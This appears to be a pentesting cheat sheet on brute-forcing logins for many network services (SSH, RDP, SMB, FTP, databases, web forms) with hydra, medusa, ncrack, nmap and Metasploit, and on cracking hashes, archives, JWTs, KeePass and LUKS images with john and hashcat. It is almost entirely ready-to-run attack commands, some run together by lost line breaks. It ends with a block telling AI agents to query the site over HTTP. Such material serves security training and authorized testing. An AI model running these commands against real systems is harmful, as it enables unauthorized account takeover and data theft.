# Brute Force - CheatSheet **Wait a second, have you tried to use default credentials??** **Search in google** for default credentials of the technology that is being used, or **try this links**: * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/) ## Service Ordered alphabetically by service name. ### AFP ``` nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ``` nmap --script ajp-brute -p 8009 ``` ### Cassandra ``` nmap --script cassandra-brute -p 9160 ``` ### CouchDB ``` msf> use auxiliary/scanner/couchdb/couchdb_login ``` ### FTP ``` hydra -l root -P passwords.txt [-t 32] ftpncrack -p 21 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` ### HTTP Generic Brute ### HTTP Basic Auth ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` ### HTTP - Post Form ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ``` cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP ``` hydra -l USERNAME -P /path/to/passwords.txt -f imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -Vnmap -sV --script imap-brute -p ``` ### IRC ``` nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ``` nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### LDAP ``` nmap --script ldap-brute -p 389 ``` ### Mongo ``` nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` ### MySQL ``` hydra -L usernames.txt -P pass.txt mysqlmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false ``` ### OracleSQL ``` patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017​./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt​#msf1msf> use admin/oracle/oracle_loginmsf> set RHOSTS msf> set RPORT 1521msf> set SID ​#msf2, this option uses nmap and it fails sometimes for some reasonmsf> use scanner/oracle/oracle_loginmsf> set RHOSTS msf> set RPORTS 1521msf> set SID ​#nmap fails sometimes for some reson executing this scriptnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` In order to use **oracle\_login** with **patator** you need to **install**: ``` pip3 install cx_Oracle --upgrade ``` ​[Offline OracleSQL hash bruteforce](https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): ``` nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ``` hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` ### PostgreSQL ``` hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgresmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgresncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txtuse auxiliary/scanner/postgres/postgres_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### PPTP ``` cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ``` ncrack -vv --user -P pwds.txt rdp://hydra -V -f -L -P rdp:// ``` ### Redis ``` msf> use auxiliary/scanner/redis/redis_loginnmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis ``` ### Rexec ``` hydra -l -P rexec:// -v -V ``` ### Rlogin ``` hydra -l -P rlogin:// -v -V ``` ### Rsh ``` hydra -L rsh:// -v -V ``` ​​ ### Rsync ``` nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ``` hydra -l root -P passwords.txt rtsp ``` ### SNMP ``` msf> use auxiliary/scanner/snmp/snmp_loginnmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp_onesixtyone.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ``` nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` ### SMTP ``` hydra -l -P /path/to/passwords.txt smtp -Vhydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` ### SQL Server ``` #Use the NetBIOS name of the machine as domainhydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssqlmedusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accountsmsf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ``` hydra -l root -P passwords.txt [-t 32] sshncrack -p 22 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ssh ``` ### Telnet ``` hydra -l root -P passwords.txt [-t 32] telnetncrack -p 23 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` ### VNC ``` hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vncmedusa -h –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt :>POR>Tpatator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ## Local ### Online cracking databases * * ​ (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) * * * ​ (Hashes and file hashes) * * * ​ (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * Check this out before trying to bruteforce a Hash. ### Generic #### Hash-identifier ### John ``` john --rule --wordlist=/usr/share/wordlists/rockyou.txt file_with_hash.txt ``` #### unshadow ``` unshadow passwd.txt shadow.txt > tojohn.txt ``` ### ZIP ``` fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ``` zip2john file.zip > zip.johnjohn zip.john ``` ### 7z ``` cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ``` #Download and install requirements for 7z2johnwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-get install libcompress-raw-lzma-perl./7z2john.pl file.7z > 7zhash.john ``` ### PDF ``` apt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt#pdf2john didnt worked well, john didnt know which hash type was# To permanently decrypt the pdfsudo apt-get install qpdfqpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### JWT ``` git clone https://github.com/Sjord/jwtcrack.gitcd jwtcrack​#Bruteforce using crackjwt.pypython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt​#Bruteforce using johnpython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.johnjohn jwt.john #It does not work with Kali-John ``` ### NTLM cracking ``` Format:USUARIO:ID:HASH_LM:HASH_NT:::jhon --wordlist=/usr/share/wordlists/rockyou.txt --fomrat=NT file_NTLM.hasheshashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ``` sudo apt-get install -y kpcli #Install keepass tools like keepass2johnkeepass2john file.kdbx > hash #The keepass is only using passwordkeepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Lucks image #### Method 1 Install: ​ ``` bruteforce-luks -f ./list.txt ./backup.imgcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt ``` #### Method 2 ``` cryptsetup luksDump backup.img #Check that the payload offset is set to 4096dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1hashcat -m 14600 luckshash cryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt ``` ### Mysql ``` #John hash format:$mysqlna$*dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` **Hash examples:** ​ ### Hash-identifier ### Crunch ``` crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabetcrunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)​@ Lower case alpha characters, Upper case alpha characters% Numeric characters^ Special characters including spaccrunch 6 8 -t ,@@^^%% ``` ### Cewl ``` cewl --with-numbers -d 2 -m 5 -w words.txt http://$ip/ ``` ### John mutation Read ***/etc/john/john.conf*** and configure it ``` john --wordlist=words.txt --rules --stdout > w_mutated.txtjohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat ``` hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Cracking Linux Hashes - /etc/shadow file ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Cracking Windows Hashes ``` 3000 | LM | Operating-Systems1000 | NTLM | Operating-Systems ``` Cracking Common Application Hashes ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ``` ​ --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://guide.offsecnewbie.com/password-cracking/untitled.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.